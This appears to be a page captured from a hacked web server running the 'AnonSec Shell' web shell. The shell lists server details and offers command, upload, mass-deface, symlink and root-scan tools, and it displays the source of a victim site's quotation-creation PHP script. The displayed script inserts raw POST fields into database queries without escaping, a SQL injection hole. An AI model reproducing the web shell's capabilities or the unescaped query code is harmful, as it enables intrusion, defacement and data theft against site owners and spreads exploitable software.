AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/Quotation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/Quotation/Create.php
<?php
$ck='not';
include("../include/checkLogin.php");
include("../include/class.php");
include("../include/table_name.php");
$date_year = date("Y");
$date_month = date("m");
/*

echo "<pre>";
print_r($_SESSION);
echo "</pre>";
echo "<pre>";
print_r($_FILES['File']);
echo "</pre>";


echo "<pre>";
print_r($_POST);
echo "</pre>";
*/
$Quotation=1;
$sql_gdn = array('table'=>$name_table11,'where'=>"DocumentNumberId = '".$Quotation."'");
$view_sql_gdn = $view_db->view($sql_gdn);
$row_gdn = $view_db->q($view_sql_gdn);
/*
echo "<pre>";
print_r($row_gdn);
echo "</pre>";
*/
$running = $row_gdn['Number'];
if($date_year!=$row_gdn['Year']){
  $running = 1;
  $date_year = $date_year;
  $date_month = $date_month;
  $prefix = ($row_gdn['Prefix']!='')?$row_gdn['Prefix']:"";
  //echo $date_year;
}
$gdn = $prefix.substr($date_year,2)."-".str_pad($date_month,1,"0",STR_PAD_LEFT)."-".str_pad($running,5,"0",STR_PAD_LEFT);
/*
echo $gdn;
exit();
*/
$Status=1;
$list = array(
  'table'=>$name_table18,
  'QuotationNo'=>"'".@$gdn."'",
  'CountryId'=>"'".@$_POST["CountryId"]."'",
  'CustomerId'=>"'".@$_POST["CustomerId"]."'",
  'QuotationType'=>"'".@$_POST["QuotationType"]."'",
  'Currency'=>"'".@$_POST["Currency"]."'",
  'CreditType'=>"'".@$_POST["CreditType"]."'",
  'CreditTerms'=>"'".@$_POST["CreditTerms"]."'",
  'Vat'=>"'".@$_POST["Vat"]."'",
  'CaseTypeId'=>"'".@$_POST["CaseTypeId"]."'",
  'ContactPerson'=>"'".@$_POST["ContactPerson"]."'",
  'Status'=>"'".@$Status."'",
  'CreateBy'=>"'".@$_SESSION["UserInfo"][0]['UserId']."'",
  'CreateDateTime'=>"'".@$date."'",
  'LocalQuantity'=>"'".@$_POST["LocalQuantity"]."'",
  'InterQuantity'=>"'".@$_POST["InterQuantity"]."'",
);
if(@$_POST['QuotationType']==2){
  $RetainerStart = $util_class->date_chang_1($_POST['RetainerStart']);
  $RetainerEnd = $util_class->date_chang_1($_POST['RetainerEnd']);
  $list = array(
    'table'=>$name_table18,
    'QuotationNo'=>"'".@$gdn."'",
    'CountryId'=>"'".@$_POST["CountryId"]."'",
    'CustomerId'=>"'".@$_POST["CustomerId"]."'",
    'QuotationType'=>"'".@$_POST["QuotationType"]."'",
    'Currency'=>"'".@$_POST["Currency"]."'",
    'RetainerStart'=>"'".@$RetainerStart."'",
    'RetainerEnd'=>"'".@$RetainerEnd."'",
    'Condition'=>"'".@$_POST["Condition"]."'",
    'CreditType'=>"'".@$_POST["CreditType"]."'",
    'CreditTerms'=>"'".@$_POST["CreditTerms"]."'",
    'Vat'=>"'".@$_POST["Vat"]."'",
    'CaseTypeId'=>"'".@$_POST["CaseTypeId"]."'",
    'ContactPerson'=>"'".@$_POST["ContactPerson"]."'",
    'Status'=>"'".@$Status."'",
    'CreateBy'=>"'".@$_SESSION["UserInfo"][0]['UserId']."'",
    'CreateDateTime'=>"'".@$date."'",
    'LocalQuantity'=>"'".@$_POST["LocalQuantity"]."'",
    'InterQuantity'=>"'".@$_POST["InterQuantity"]."'",
  );
}

$add = $actiondata_db->add_db($list);

/*
echo "<pre>";
print_r($add);
echo "</pre>";
*/

if($add['suc']==1){
  $running=$running+1;
  $list = array(
    'table'=>$name_table11,
    'DocumentNumberId'=>$Quotation,
    'Year'=>$date_year,
    'Month'=>$date_month,
    'Number'=>$running
  );
  $add = $actiondata_db->edit_db($list);
  if($add['suc']==1){
    $_SESSION['Success'] = 'Create quotation successful';
    echo "<script>window.location.href='index.php'</script>";
  }
}else{
  $_SESSION['er'] = 'false';
  echo "<script>window.location.href='index.php'</script>";
}

?>

Anon7 - 2022
AnonSec Team